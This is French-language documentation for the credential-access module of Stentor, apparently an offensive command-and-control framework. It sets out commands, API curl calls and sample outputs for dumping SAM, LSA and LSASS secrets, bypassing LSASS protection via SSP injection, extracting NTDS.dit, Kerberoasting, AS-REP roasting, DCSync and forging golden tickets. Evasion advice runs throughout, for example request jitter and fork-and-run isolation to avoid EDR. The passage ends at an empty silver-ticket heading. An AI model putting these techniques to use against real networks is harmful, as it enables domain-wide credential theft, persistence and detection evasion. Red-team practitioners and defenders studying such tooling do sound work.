Accès aux informations d'identification¶
Capacités de collecte d’informations d’identification pour extraire le matériel d’authentification des hôtes compromis. Stentor implémente une boîte à outils complète d'accès aux informations d'identification couvrant les magasins d'informations d'identification locaux, l'analyse de la mémoire LSASS, les attaques du protocole Kerberos, la réplication de domaine, les secrets protégés par DPAPI et l'extraction des informations d'identification du navigateur.
Hiérarchie des informations d'identification¶
La collecte d'informations d'identification suit une progression naturelle depuis les magasins locaux (exigence de privilège la plus faible) jusqu'aux attaques au niveau du domaine (exigence de privilège la plus élevée). Chaque couche débloque de nouveaux chemins d'attaque.
flowchart TD
A[Local Credentials] --> B[LSASS Memory]
A --> C[DPAPI Secrets]
B --> D[Domain Credentials]
D --> E[Kerberos Attacks]
D --> F[Lateral Movement]
A1[SAM Database<br/>hashdump / sam_dump] --> A
A2[LSA Secrets<br/>lsa_secrets] --> A
A3[Cached Creds<br/>cached_creds] --> A
B1[logonpasswords<br/>NTLM + WDigest + Kerberos] --> B
B2[lsass_memdump<br/>Minidump to disk] --> B
C1[DPAPI Triage<br/>RDP / WiFi / Vault / Certs] --> C
C2[chromedump<br/>Browser passwords] --> C
D1[DCSync<br/>DRSUAPI replication] --> D
D2[NTDS Dump<br/>AD database extraction] --> D
E1[Kerberoast<br/>TGS ticket cracking] --> E
E2[AS-REP Roast<br/>Pre-auth bypass] --> E
E3[Golden / Silver Ticket<br/>Kerberos forgery] --> E
style A fill:#6a1b9a,color:#fff
style B fill:#4a148c,color:#fff
style C fill:#311b92,color:#fff
style D fill:#1a237e,color:#fff
style E fill:#0d47a1,color:#fff
style F fill:#01579b,color:#fff Exigences de privilège :
| Source | Privilège minimum | Remarques |
|---|---|---|
| SAM / LSA / En cache | Administrateur local (SYSTÈME) | L'accès à la ruche de registre nécessite SeBackupPrivilege |
| LSASS | Administrateur local + SeDebugPrivilege | RunAsPPL bloque l'accès direct |
| NTDS.dit | Administrateur de domaine | Cliché instantané de volume sur DC |
| Synchronisation DC | Réplication des modifications de répertoire | DA/EA ou droits de réplication délégués |
| Kerberoast | Tout utilisateur de domaine | N'a besoin que de TGT pour les demandes TGS |
| Rôti AS-REP | Accès réseau à DC | Aucune authentification requise |
| DPAPI | Contexte utilisateur actuel | Clé principale utilisateur ou clé de sauvegarde de domaine |
| Crédits du navigateur | Contexte utilisateur actuel | Clé d'état locale protégée par DPAPI |
Référence des commandes d'informations d'identification¶
| Commande | Syntaxe | Source | Nécessite | Format de sortie | ATTAQUE À ONGLET&CK |
|---|---|---|---|---|---|
hashdump | hashdump | Base de données SAM | Administrateur local | user:RID:LM:NT::: (hashcat 1000) | T1003.002 |
sam_dump | sam_dump | Base de données SAM | Administrateur local | user:RID:LM:NT::: | T1003.002 |
logonpasswords | logonpasswords | Mémoire LSASS | SeDebugPrivilège | Hachages NTLM, texte clair WDigest, tickets Kerberos | T1003.001 |
lsass_memdump | lsass_memdump | Mémoire LSASS | SeDebugPrivilège | Fichier .dmp pour analyse hors ligne | T1003.001 |
lsass_legacy | lsass_legacy | Mémoire LSASS | SeDebugPrivilège | Fichier .dmp (MiniDump direct) | T1003.001 |
lsa_secrets | lsa_secrets | Secrets LSA | Administrateur local | Mots de passe de service, clés DPAPI | T1003.004 |
cached_creds | cached_creds | Cache de domaine | Administrateur local | Hachages DCC2 (hashcat 2100) | T1003.005 |
ntds_dump | ntds_dump | NTDS.dit | Administrateur de domaine | Hachages NTLM pour tous les comptes de domaine | T1003.003 |
kerberoast | kerberoast [/spn:...] [/user:...] [/domain:...] | Kerberos TGS | Tout utilisateur de domaine | $krb5tgs$ (hashcat 13100/19700) | T1558.003 |
asrep_roast | asrep_roast [/user:...] [/domain:...] | Kerberos AS-REP | Accès au réseau | $krb5asrep$ (hashcat 18200) | T1558.004 |
dcsync | dcsync [/user:...] [/domain:...] [/all] | DRSUAPI | Droits de réplication | Clés NTLM + Kerberos | T1003.006 |
golden_ticket | golden_ticket <domain> <sid> <dc> <key> | TGT forgé | hachage krbtgt | Billet .kirbi / .ccache | T1558.001 |
silver_ticket | silver_ticket <domain> <sid> <dc> <service> <target> <hash> | TGS forgé | Hachage du compte de service | Billet .kirbi / .ccache | T1558.002 |
overpass | overpass <domain> <dc> <user> <hash> | Kerberos AS-REQ | Hachage NTLM | TGT valide | T1550.002 |
dpapi_masterkeys | dpapi_masterkeys [--target SID] | Répertoire de protection DPAPI | Utilisateur actuel | GUID de clé principale | T1555.004 |
dpapi_backupkey | dpapi_backupkey <dc> [--domain ...] | RPC LSA | Administrateur de domaine | Clé de sauvegarde de domaine | T1555.004 |
dpapi_rdp | dpapi_rdp | Gestionnaire d'informations d'identification | Utilisateur actuel + clé principale | Mots de passe RDP en texte clair | T1555.004 |
dpapi_wifi | dpapi_wifi | Profils Wi-Fi | Administrateur local | PSK WiFi en texte clair | T1555.004 |
dpapi_vault | dpapi_vault | Gestionnaire d'informations d'identification | Utilisateur actuel + clé principale | Entrées du coffre-fort | T1555.004 |
dpapi_certkeys | dpapi_certkeys [--target SID] | Magasin de certificats | Utilisateur actuel + clé principale | Clés privées de certificat | T1555.004 |
dpapi_triage | dpapi_triage [--domain ...] [--dc ...] | Toutes les sources DPAPI | Utilisateur actuel + clé principale | Sortie de tri combiné | T1555.004 |
chromedump | chromedump | Données de connexion Chrome/Edge | Utilisateur actuel | URL, noms d'utilisateur, mots de passe en clair | T1555.003 |
Dumping des informations d'identification locales¶
Les magasins d'informations d'identification locaux contiennent du matériel d'authentification mis en cache sur la machine locale. Ces techniques accèdent aux ruches de registre en mémoire à l'aide de l'API de registre Windows : aucun processus enfant tel que reg.exe n'est généré.
Toutes les commandes de vidage des informations d'identification locales s'exécutent dans un processus sacrificiel fork-and-run pour l'isolation OPSEC. Les artefacts d'accès au registre pointent vers le PID sacrificiel, et non vers le processus de beacon.
hachage¶
Extrayez les hachages de mot de passe NTLM de la base de données SAM (Security Account Manager) via l'analyse du registre en mémoire.
Comment ça marche : Lit les ruches de registre SYSTEM et SAM en mémoire à l'aide de l'API de registre Windows, dérive la clé de démarrage à partir des noms de classe HKLM\SYSTEM\CurrentControlSet\Control\Lsa, déchiffre les entrées SAM à l'aide d'AES-128-CBC (Windows 10+) ou DES/RC4 (hérité) et génère des hachages au format secretsdump.
Type de tâche : creds (méthode : sam_dump)
Point de terminaison dédié : POST /api/v1/c2/beacons/:id/hashdump
Exemple de résultat :
[Fork-and-Run] Sacrificial PID: 5184
Extracted 4 NTLM hashes from SAM database:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
labuser:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Format: username:RID:LM_HASH:NT_HASH:::
OPSEC
- S'exécute dans un processus sacrificiel fork-and-run (les artefacts de registre pointent vers le PID sacrificiel)
- Lit les ruches de registre SAM et SYSTEM via
RegOpenKeyEx/RegQueryValueEx - Pas de
reg.exeoureg save-- analyse purement en mémoire (repli de reg.exe supprimé pour OPSEC) - Nécessite le contexte SeBackupPrivilege ou SYSTEM
- MITRE ATT&CK : T1003.002 (vidage des informations d'identification du système d'exploitation : gestionnaire de comptes de sécurité)
sam_dump¶
Variante de vidage SAM Fork-and-run. Technique identique à hashdump mais utilise explicitement l'isolation fork-and-run. Le binaire de l'implant est réexécuté avec STENTOR_CRED_MODE=sam afin que les artefacts d'accès au registre proviennent du processus sacrificiel.
Type de tâche : creds (méthode : sam_dump)
OPSEC
Même technique que hashdump. Les deux utilisent l’analyse du registre en mémoire avec une isolation fork-and-run. Le nom de commande sam_dump est disponible pour la compatibilité des scripts CNA.
lsa_secrets¶
Extrayez les secrets LSA des ruches de registre SECURITY et SYSTEM. Les secrets LSA contiennent les mots de passe des comptes de service, les clés principales de la machine DPAPI, les mots de passe de connexion automatique mis en cache (DefaultPassword) et d'autres données sensibles stockées par LsaStorePrivateData.
Comment ça marche : Lit les ruches HKLM\SECURITY et HKLM\SYSTEM via l'API de registre, dérive la clé de chiffrement LSA et déchiffre tous les secrets stockés. S'exécute selon un processus sacrificiel fork-and-run.
Type de tâche : creds (méthode : lsa_secrets)
Exemple de résultat :
[Fork-and-Run] Sacrificial PID: 4892
=== LSA Secrets ===
$MACHINE.ACC
0000 A3 4F 2C 7B 8E ... (machine account password hash)
DPAPI_SYSTEM
User: 0x01000000b1c347...
Machine: 0x01000000f24a58...
DefaultPassword
labuser / P@ssw0rd123
_SC_SQLService
CORP\svc_sql / SqlServiceP@ss!
OPSEC
- Lit les ruches de registre SECURITY et SYSTEM en mémoire (pas de reg.exe)
- Processus sacrificiel fork-and-run pour l'isolation des artefacts
- Nécessite SYSTEM ou SeBackupPrivilege pour l'accès à la ruche SECURITY
- MITRE ATT&CK : T1003.004 (vidage des informations d'identification du système d'exploitation : secrets LSA)
cached_creds¶
Extrayez les informations d’identification mises en cache du domaine (DCC2) de la ruche du registre SECURITY. Windows met en cache les 10 dernières informations de connexion au domaine (par défaut) dans les entrées de cache NL$. Il s'agit de hachages MS-CacheDCv2 (DCC2) qui peuvent être craqués hors ligne.
Comment ça marche : Lit les entrées de cache NL$ de HKLM\SECURITY\Cache via l'API de registre, dérive la clé NL$KM et génère les hachages DCC2 au format hashcat. S'exécute selon un processus sacrificiel fork-and-run.
Type de tâche : creds (méthode : cached_creds)
Exemple de résultat :
[Fork-and-Run] Sacrificial PID: 3716
Cached Domain Credentials (DCC2):
$DCC2$10240#jsmith#a4f49c406510bdcab6824ee7c30fd852
$DCC2$10240#admin#b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5
Format: $DCC2$iterations#username#hash (hashcat mode 2100)
Craquage des hachages DCC2
Les hachages DCC2 sont coûteux en calcul à déchiffrer (10 240 itérations PBKDF2 par défaut).
OPSEC
- Lit les valeurs du cache de la ruche SECURITY via l'API de registre (pas de reg.exe)
- Processus sacrificiel fork-and-run pour l'isolation des artefacts
- Nécessite SYSTEM ou SeBackupPrivilege
- MITRE ATT&CK : T1003.005 (vidage des informations d'identification du système d'exploitation : informations d'identification de domaine mises en cache)
Accès à la mémoire LSASS¶
LSASS (Local Security Authority Subsystem Service) conserve en mémoire le matériel d'authentification de tous les utilisateurs connectés. Cela inclut les hachages NTLM, les mots de passe en texte clair WDigest (si activés), les tickets Kerberos et les informations d'identification TSPKG.
mots de passe de connexion¶
Analysez la mémoire du processus LSASS sur place pour extraire les informations d'identification des structures SSP (Security Support Provider). Il s'agit de l'équivalent de mimikatz sekurlsa::logonpasswords de Stentor.
Comment ça marche : Ouvre un handle vers le processus LSASS à l'aide de NtOpenProcess, lit les régions de mémoire à l'aide de NtReadVirtualMemory et analyse les structures SSP :
- MSV1_0 – hachages NTLM (NT et LM)
- WDigest - Mots de passe en texte clair (si la valeur de registre
UseLogonCredentialest définie) - Kerberos -- Tickets Kerberos et clés de session
- TSPKG -- Informations d'identification des services Terminal Server
S'exécute dans le cadre d'un processus sacrificiel fork-and-run. Les appels NtOpenProcess et NtReadVirtualMemory proviennent du PID sacrificiel.
Type de tâche : creds (méthode : logonpasswords)
Point de terminaison dédié : POST /api/v1/c2/beacons/:id/logonpasswords
Exemple de résultat :
[Fork-and-Run] Sacrificial PID: 6248
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : CORP\jsmith
Domain : CORP
Logon Server : DC01
Logon Time : 2/19/2026 8:30:15 AM
msv :
[00000003] Primary
* Username : jsmith
* Domain : CORP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : a]9040f9c13d508...
wdigest :
* Username : jsmith
* Domain : CORP
* Password : P@ssw0rd123
kerberos :
* Username : jsmith
* Domain : CORP.LOCAL
* Password : (null)
OPSEC – Risque de détection élevé
- Ouvre un handle vers LSASS (
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) - déclenche l'ID d'événement Sysmon 10 NtReadVirtualMemoryappelle l'espace d'adressage LSASS- L'isolation Fork-and-run signifie que le PID sacrificiel est celui qui accède au LSASS, pas le beacon
- RunAsPPL (Credential Guard) : si
RunAsPPL=1, LSASS est une lumière de processus protégée et l'accès direct à la mémoire échoue avecSTATUS_ACCESS_DENIED. Options : désactivez RunAsPPL via le registre + redémarrage, utilisez un pilote de contournement PPL ou utilisez plutôtdcsync - MITRE ATT&CK : T1003.001 (vidage des informations d'identification du système d'exploitation : mémoire LSASS)
lsass_memdump¶
Créez un minidump du processus LSASS pour l'extraction des informations d'identification hors ligne. Produit un fichier .dmp qui peut être analysé avec pypykatz, mimikatz ou d'autres outils hors ligne.
Comment ça marche : Ouvre un handle vers LSASS, crée un minidump en utilisant une approche sauvegardée en mémoire via MiniDumpWriteDump et écrit le fichier de dump sur le disque. S'exécute dans le cadre d'un processus sacrificiel fork-and-run.
Type de tâche : creds (méthode : lsass_memdump ou lsass_minidump)
Exemple de résultat :
[Fork-and-Run] Sacrificial PID: 7412
LSASS minidump created: C:\Users\Public\lsass_20260219_083015.dmp (48.2 MB)
Analyse hors ligne
OPSEC
- Crée un fichier sur le disque (le fichier .dmp) - empreinte médico-légale élevée
- Le processus LSASS gère l'accès déclenche l'ID d'événement Sysmon 10
- L'appel API
MiniDumpWriteDumpest surveillé par EDR - Préférez
logonpasswords(analyse en mémoire, pas d'écriture sur disque) lorsque cela est possible - MITRE ATT&CK : T1003.001 (vidage des informations d'identification du système d'exploitation : mémoire LSASS)
lsass_legacy¶
Dirigez MiniDumpWriteDump vers le disque sans l’approche sauvegardée en mémoire. Il s'agit d'une méthode de secours pour les environnements dans lesquels la technique de vidage de la mémoire principale échoue.
**Type de tâche :** `creds` (méthode : `lsass_legacy`)
=== "Coquille"
```
lsass_legacy
```
=== "API (commande shell)"
```bash
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "lsass_legacy"}'
```
!!! info "Quand utiliser"
Utilisez `lsass_legacy` uniquement lorsque `logonpasswords` et `lsass_memdump` échouent tous deux. Cette méthode appelle `MiniDumpWriteDump` directement sans l'approche basée sur la mémoire, qui est plus susceptible d'être détectée mais peut fonctionner dans les cas extrêmes.
Comparaison des méthodes LSASS¶
| Méthode | Accès aux processus | Écriture sur disque | Analyse | Risque de détection |
|---|---|---|---|---|
logonpasswords | NtReadVirtualMemory | Aucun | En mémoire (structures SSP) | Moyen |
lsass_memdump | MiniDumpWriteDump (sauvegardé en mémoire) | Fichier .dmp | Hors ligne (pypykatz/mimikatz) | Élevé |
lsass_legacy | MiniDumpWriteDump (direct) | Fichier .dmp | Hors ligne (pypykatz/mimikatz) | Le plus haut |
ppl_bypass | AddSecurityPackageW (injection SSP) | DLL temporaire SSP | Capture de rappel SSP | Élevé |
Méthode supprimée
La méthode lsass_comsvcs (rundll32.exe comsvcs.dll MiniDump) a été supprimée pour OPSEC. La ligne de commande rundll32.exe comsvcs.dll est détectée de manière triviale par tous les produits EDR modernes. Utilisez plutôt logonpasswords ou lsass_memdump.
Contournement PPL (RunAsPPL)¶
Lorsque LSASS s'exécute en tant que Protected Process Light (PPL), les techniques de vidage d'informations d'identification standard échouent car OpenProcess est refusé même avec SeDebugPrivilege. La commande ppl_bypass contourne cette protection à l’aide de l’injection SSP.
Comment ça marche :
- Écrit une DLL personnalisée du fournisseur de support de sécurité (SSP) dans un emplacement temporaire
- Appelle
AddSecurityPackageWpour charger le SSP danslsass.exe(le système d'exploitation charge la DLL dans le processus protégé) - Le rappel
SpLsaModeInitializedu SSP s'exécute dans LSASS et capture les informations d'identification - Les résultats sont écrits dans une section de mémoire partagée ou dans un fichier temporaire et lus par le beacon
- La DLL SSP temporaire est nettoyée
Syntaxe du shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"ppl_bypass","data":{}}'
OPSEC
AddSecurityPackageWdéclenche l'ID d'événement 4614 (package de notification chargé) dans le journal des événements de sécurité- La DLL SSP temporaire écrite sur le disque est brièvement visible pour la surveillance du système de fichiers
- Nécessite un contexte
SeDebugPrivilegeou SYSTEM - Risque élevé – Le chargement SSP est une technique bien connue et surveillée par des produits EDR avancés.
- Le nettoyage est automatique mais l'entrée Event 4614 persiste
- MITRE ATT&CK : T1547.005 (fournisseur de support de sécurité), T1003.001 (mémoire LSASS)
Quand utiliser ppl_bypass
Utilisez ppl_bypass lorsque logonpasswords échoue avec des erreurs « accès refusé » et que vous avez confirmé que LSASS s'exécute en tant que PPL (Get-Process lsass | Select-Object -ExpandProperty Path indique que MsMpEng ou ProtectionLevel est défini). Si LSASS n'est pas protégé par PPL, préférez logonpasswords (risque de détection plus faible).
Dump NTDS.dit¶
ntds_dump¶
Extrayez les hachages NTLM pour tous les comptes d'utilisateurs de domaine de la base de données Active Directory (NTDS.dit). Cette technique crée un cliché instantané de volume du lecteur système du contrôleur de domaine, puis extrait le fichier NTDS.dit et la ruche SYSTEM pour une analyse hors ligne.
Comment ça marche : Exécute vssadmin create shadow /for=C: pour créer un cliché instantané de volume, puis copie NTDS.dit et la ruche SYSTEM à partir du cliché instantané. Si vssadmin échoue, revient au mode ntdsutil IFM (Install From Media). Nécessite les privilèges d'administrateur de domaine sur le contrôleur de domaine.
Type de tâche : creds (méthode : ntds_dump)
Exemple de résultat :
[*] Creating volume shadow copy...
[+] Shadow copy created: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
[*] Extracting NTDS.dit from shadow copy...
[+] NTDS.dit extracted: C:\Windows\Temp\ntds.dit (256 MB)
[+] SYSTEM hive extracted: C:\Windows\Temp\SYSTEM (12 MB)
Extracted 1,247 NTLM hashes from NTDS.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5:::
jsmith:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
...
OPSEC – Risque de détection très élevé
- Crée un cliché instantané de volume (ID d'événement 8222 de VSS, ID d'événement 7036 de SCM pour le démarrage du service
vss) - L'exécution de
vssadmin.exeountdsutil.exeest fortement surveillée - Copie de fichiers volumineux à partir d'un cliché instantané (NTDS.dit peut faire des centaines de Mo)
- Artefacts de disque : les fichiers extraits restent sur le contrôleur de domaine jusqu'à ce qu'ils soient nettoyés
- Préférez
dcsyncpour une extraction de hachage ciblée : il est plus furtif et ne nécessite pas d'accès au système de fichiers DC. - MITRE ATT&CK : T1003.003 (vidage des informations d'identification du système d'exploitation : NTDS)
Attaques Kerberos¶
Les techniques d'accès aux informations d'identification basées sur Kerberos exploitent le protocole d'authentification Kerberos pour extraire des hachages craquables ou falsifier des tickets d'authentification.
kerberoast¶
Demandez des tickets TGS (Ticket Granting Service) pour les comptes de service avec des SPN (Service Principal Names) et extrayez les données cryptées des tickets pour le craquage hors ligne. La partie cryptée du ticket TGS est cryptée avec le hachage du mot de passe du compte de service, ce qui la rend craquable.
Comment ça marche : Énumère les comptes de service avec les SPN via LDAP (en utilisant wldap32.dll avec la liaison SSPI NEGOTIATE ou les informations d'identification explicites via gokrb5), puis demande des tickets TGS pour chaque SPN. Les données cryptées du ticket sont extraites et formatées pour hashcat ou John the Ripper. Prend en charge la gigue inter-demandes configurable pour éviter la détection de rafales.
Deux modes d'identification :
- Mode SSPI (par défaut, aucune information d'identification spécifiée) : utilise le jeton de session Windows actuel via SSPI
InitializeSecurityContextpour l'énumération LDAP et les requêtes TGS. Aucune information d’identification explicite n’est nécessaire. - Mode explicite (nom d'utilisateur + mot de passe spécifiés) : utilise la bibliothèque
gokrb5pour l'authentification Kerberos et les demandes de tickets TGS.
Type de tâche : creds (méthode : kerberoast)
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
domain | chaîne | Détection automatique | %USERDNSDOMAIN% | Domaine AD (par exemple, CORP.LOCAL) |
dc | chaîne | Détection automatique | Recherche DNS SRV | IP/nom d'hôte du contrôleur de domaine |
spns | chaîne[] | Non | Énumération LDAP | SPN spécifiques à cibler |
username | chaîne | Non | Jeton actuel (SSPI) | Informations d'identification explicites pour le mode gokrb5 |
password | chaîne | Non | Jeton actuel (SSPI) | Informations d'identification explicites pour le mode gokrb5 |
output_fmt | chaîne | Non | hashcat | Format de sortie : hashcat ou john |
jitter_ms | int | Non | 1000 | Gigue inter-requêtes en ms (-1 = désactivé) |
# SSPI mode (uses current token)
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "kerberoast"}'
# Explicit credentials
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local /user:jsmith /password:P@ssw0rd"}'
Exemple de résultat :
[*] Jitter: 1000ms (range 500-1500ms) between TGS requests
{
"hashes": [
{
"spn": "MSSQLSvc/sql01.corp.local:1433",
"username": "svc_sql",
"domain": "CORP.LOCAL",
"hash": "$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3b4c5...$d6e7f8...",
"enc_type": 23,
"enc_type_name": "RC4-HMAC"
}
],
"count": 1,
"format": "hashcat"
}
Casser les hachages Kerberoast
OPSEC
- Chaque demande TGS génère l'ID d'événement 4769 (Kerberos Service Ticket Operation) sur le contrôleur de domaine.
- Plusieurs requêtes TGS successives à partir d'un seul compte sont un indicateur Kerberoast connu
- Utilisez la gigue (paramètre
jitter_ms) pour espacer les requêtes – 1 000 ms par défaut avec une randomisation de ± 50 % - Les demandes de tickets RC4 (type 23) provenant de comptes qui utilisent normalement AES peuvent déclencher des alertes
- L'énumération LDAP pour les SPN génère l'ID d'événement 1644 si l'audit des requêtes LDAP est activé
- MITRE ATT&CK : T1558.003 (Voler ou forger des billets Kerberos : Kerberoasting)
asrep_roast¶
Envoyez des messages AS-REQ (Authentication Service Request) sans données de pré-authentification au KDC pour les comptes pour lesquels « Ne pas nécessiter de pré-authentification Kerberos » est activé. Le KDC répond avec un AS-REP contenant des données cryptées qui peuvent être déchiffrées hors ligne.
Comment ça marche : Construit des messages AS-REQ bruts (RFC 4120) sans les données de pré-authentification PA-ENC-TIMESTAMP, les envoie au KDC sur le port 88 via TCP brut et analyse la réponse AS-REP pour extraire la partie chiffrée. Les comptes sans exigence de pré-autorisation renvoient un AS-REP valide ; les comptes avec pré-autorisation requise renvoient une erreur KDC_ERR_PREAUTH_REQUIRED.
Type de tâche : creds (méthode : asrep_roast)
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
domain | chaîne | Oui | -- | Domaine AD (par exemple, CORP.LOCAL) |
dc | chaîne | Oui | -- | IP/nom d'hôte du contrôleur de domaine |
usernames | chaîne[] | Oui | -- | Cibler les noms d'utilisateur à tester |
output_fmt | chaîne | Non | hashcat | Format de sortie : hashcat ou john |
Exemple de résultat :
{
"hashes": [
{
"username": "svc_backup",
"domain": "CORP.LOCAL",
"hash": "[email protected]:a1b2c3...$d4e5f6...",
"enc_type": 23,
"enc_type_name": "RC4-HMAC",
"vulnerable": true
}
],
"vulnerable_count": 1,
"tested_count": 2,
"format": "hashcat"
}
OPSEC
- AS-REQ sans pré-authentification est un comportement de protocole légitime - difficile à distinguer du trafic Kerberos normal
- Chaque AS-REQ génère l'ID d'événement 4768 (demande de ticket d'authentification Kerberos)
- Les demandes ayant échoué (pré-authentification requise) génèrent l'ID d'événement 4771 (échec de la pré-authentification Kerberos)
- Aucune authentification requise - uniquement l'accès réseau au DC sur le port 88
- MITRE ATT&CK : T1558.004 (Voler ou forger des tickets Kerberos : torréfaction AS-REP)
Synchronisation DC¶
synchronisation continue¶
Répliquez les données d'identification de domaine à partir d'un contrôleur de domaine à l'aide du protocole MS-DRSR (Directory Replication Service Remote). DCSync simule un contrôleur de domaine demandant une réplication, ce qui oblige le contrôleur de domaine cible à envoyer des données de mot de passe pour les comptes spécifiés.
Comment ça marche : Se connecte au contrôleur de domaine via le mappeur de point de terminaison RPC (port 135), se lie à l'interface DRSUAPI à l'aide de DsBind / DsBindWithCred, résout les DN de l'utilisateur cible avec DsCrackNames, puis appelle IDL_DRSGetNCChanges pour répliquer les attributs de mot de passe (unicodePwd, supplementalCredentials, ntPwdHistory). La sortie inclut le hachage NTLM, les clés Kerberos (AES256, AES128, DES) et les informations d'identification supplémentaires.
Type de tâche : creds (méthode : dcsync)
Point de terminaison dédié : POST /api/v1/c2/beacons/:id/dcsync
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
domain | chaîne | Oui | -- | Domaine AD (par exemple, CORP.LOCAL) |
dc | chaîne | Oui | -- | IP/nom d'hôte du contrôleur de domaine |
username | chaîne | Oui | -- | Utilisateur avec droits de réplication |
password | chaîne | Oui | -- | Mot de passe pour l'authentification |
target_users | chaîne[] | Non | ["Administrator", "krbtgt"] | Utilisateurs spécifiques à répliquer |
all | bool | Non | false | Vider tous les comptes d'utilisateurs du domaine |
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/dcsync" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"domain": "CORP.LOCAL",
"dc": "dc01.corp.local",
"username": "CORP\\admin",
"password": "AdminP@ss",
"target_users": ["krbtgt", "Administrator"]
}'
Exemple de résultat :
[DC] 'CORP.LOCAL' will be the domain
[DC] 'dc01.corp.local' will be the DC server
Object RDN : CN=krbtgt
** SAM ACCOUNT NAME : krbtgt
Credentials:
Hash NTLM: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5
lm - 0: aad3b435b51404eeaad3b435b51404ee
ntlm- 0: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5
Object RDN : CN=Administrator
** SAM ACCOUNT NAME : Administrator
Credentials:
Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
lm - 0: aad3b435b51404eeaad3b435b51404ee
ntlm- 0: a4f49c406510bdcab6824ee7c30fd852
OPSEC – Haute visibilité
- Génère du trafic de réplication DRS vers le contrôleur de domaine sur l'interface DRSUAPI RPC
- ID d'événement 4662 avec GUID
{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}(DS-Replication-Get-Changes) et{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}(DS-Replication-Get-Changes-All) - Microsoft Defender pour Identity (MDI) détecte spécifiquement DCSync comme une alerte « Attaque DCSync suspectée »
- La requête du mappeur de point de terminaison RPC (port 135) + la liaison DRSUAPI sont visibles dans le trafic réseau
- Nécessite les droits
DS-Replication-Get-Changes+DS-Replication-Get-Changes-All- généralement un compte d'administrateur de domaine, d'administrateur d'entreprise ou d'ordinateur DC. - MITRE ATT&CK : T1003.006 (vidage des informations d'identification du système d'exploitation : DCSync)
DCSync et vidage NTDS
Préférez DCSync au dump NTDS lorsque cela est possible. DCSync fonctionne sur le réseau sans toucher au système de fichiers DC, évite les artefacts de cliché instantané des volumes et peut cibler des comptes spécifiques. Le vidage NTDS nécessite un accès administrateur de domaine au système de fichiers du contrôleur de domaine et génère d'importants artefacts de disque/journal des événements.
Forgeage de tickets Kerberos¶
Forgez des tickets Kerberos à l’aide de clés compromises pour obtenir un accès persistant ou ciblé sans avoir besoin du mot de passe d’origine en texte clair.
billet_doré¶
Forgez un Ticket Granting Ticket (TGT) à l'aide de la clé AES256 du compte krbtgt. Un ticket doré accorde au titulaire un accès équivalent à celui d'administrateur de domaine à n'importe quel service du domaine, avec une durée de vie personnalisée (10 ans par défaut).
Comment ça marche : Construit un TGT (AS-REP) avec un PAC (Privilege Attribute Certificate) arbitraire contenant les appartenances aux groupes d'administrateurs (Administrateurs de domaine 512, Administrateurs de schéma 518, Administrateurs d'entreprise 519, Propriétaires des créateurs de stratégie de groupe 520). Le ticket est crypté à l'aide de la clé krbtgt AES256 et exporté au format .kirbi (Mimikatz/Rubeus) ou .ccache (Linux).
Type de tâche : creds (méthode : golden_ticket)
| Paramètre | Type | Obligatoire | Par défaut | Description |
|---|---|---|---|---|
domain | chaîne | Oui | -- | Domaine AD (par exemple, CORP.LOCAL) |
domain_sid | chaîne | Oui | -- | SID du domaine (par exemple, S-1-5-21-...) |
dc | chaîne | Oui | -- | Nom d'hôte du contrôleur de domaine |
krbtgt_key | chaîne | Oui | -- | clé krbtgt AES256 (hexagonale) |
username | chaîne | Non | Administrator | Utilisateur à usurper l'identité |
user_rid | int | Non | 500 | RID utilisateur |
lifetime_days | int | Non | 3650 | Durée de vie du ticket en jours |
output_path | chaîne | Non | Généré automatiquement | Chemin du fichier de sortie |
output_fmt | chaîne | Non | ccache | Format : ccache ou kirbi |
extra_sids | chaîne[] | Non | -- | SID supplémentaires pour plusieurs forêts (historique des SID) |
OPSEC
- Les tickets dorés survivent aux changements de mot de passe pour tous les comptes sauf
krbtgt - Détection : TGT avec une durée de vie inhabituelle, échecs de validation PAC, incompatibilités de types de chiffrement
- Microsoft MDI détecte les tickets dorés via la validation PAC et les anomalies de tickets
- Faites pivoter le mot de passe
krbtgtdeux fois pour invalider tous les tickets dorés - MITRE ATT&CK : T1558.001 (Voler ou forger des tickets Kerberos : Golden Ticket)
billet_argent¶
